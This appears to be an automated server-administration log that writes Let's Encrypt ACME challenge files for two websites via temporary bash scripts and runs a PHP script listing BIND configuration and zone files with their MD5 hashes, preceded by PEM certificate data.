TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-08 06:00:37: Establishing a connection
2026-07-08 06:00:37: Establishing a connection
2026-07-08 06:00:37: 

PUT: /tmp/pkp538021

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-08 06:00:38: 

chmod 755 /tmp/pkp538021; /tmp/pkp538021; rm /tmp/pkp538021

2026-07-08 06:00:38: 


1


2026-07-08 06:00:38: Establishing a connection
2026-07-08 06:00:38: 

PUT: /tmp/pkp533960

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > 5vO8fZij5NijDKnQrE91nAu0Zu3giqmZnW4DOf0QSfk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5vO8fZij5NijDKnQrE91nAu0Zu3giqmZnW4DOf0QSfk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5vO8fZij5NijDKnQrE91nAu0Zu3giqmZnW4DOf0QSfk


2026-07-08 06:00:38: 

chmod 755 /tmp/pkp533960; /tmp/pkp533960; rm /tmp/pkp533960

2026-07-08 06:00:38: 




2026-07-09 06:00:02: Establishing a connection
2026-07-09 06:00:02: Establishing a connection
2026-07-09 06:00:02: 

PUT: /tmp/pkp759783

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-09 06:00:03: 

chmod 755 /tmp/pkp759783; /tmp/pkp759783; rm /tmp/pkp759783

2026-07-09 06:00:03: 


1


2026-07-09 06:00:04: Establishing a connection
2026-07-09 06:00:05: 

PUT: /tmp/pkp987915

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > j6TMwRQ5z_Fl0duQz9ts-qX2i6W0K5oAJ0zEUaK-u5I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j6TMwRQ5z_Fl0duQz9ts-qX2i6W0K5oAJ0zEUaK-u5I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j6TMwRQ5z_Fl0duQz9ts-qX2i6W0K5oAJ0zEUaK-u5I


2026-07-09 06:00:05: 

chmod 755 /tmp/pkp987915; /tmp/pkp987915; rm /tmp/pkp987915

2026-07-09 06:00:05: 




2026-07-09 11:52:05: Establishing a connection
2026-07-09 11:52:10: Establishing a connection
2026-07-09 11:52:10: 

PUT: /tmp/pkp358189

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-09 11:52:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp358189; rm /tmp/pkp358189'

2026-07-09 11:52:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-09 11:52:18: Establishing a connection
2026-07-09 11:52:18: Establishing a connection
2026-07-09 11:52:18: 

PUT: /tmp/pkp310010

#!/bin/bash
if [ -d "/var/www/osnovybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-09 11:52:18: 

chmod 755 /tmp/pkp310010; /tmp/pkp310010; rm /tmp/pkp310010

2026-07-09 11:52:18: 


1


2026-07-09 11:52:20: Establishing a connection
2026-07-09 11:52:20: 

PUT: /tmp/pkp643170

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cat > xlAD6Vh9aygmdP55jVc0FThbZGD8jEUTyKWUQUdD-EM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xlAD6Vh9aygmdP55jVc0FThbZGD8jEUTyKWUQUdD-EM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xlAD6Vh9aygmdP55jVc0FThbZGD8jEUTyKWUQUdD-EM
cat > j7lRkJavp3mRdwuaPoWQPZeXfbLqg0Eyh9xrTljBYjM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j7lRkJavp3mRdwuaPoWQPZeXfbLqg0Eyh9xrTljBYjM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j7lRkJavp3mRdwuaPoWQPZeXfbLqg0Eyh9xrTljBYjM


2026-07-09 11:52:20: 

chmod 755 /tmp/pkp643170; /tmp/pkp643170; rm /tmp/pkp643170

2026-07-09 11:52:20: 




2026-07-09 11:52:32: Establishing a connection
2026-07-09 11:52:32: 

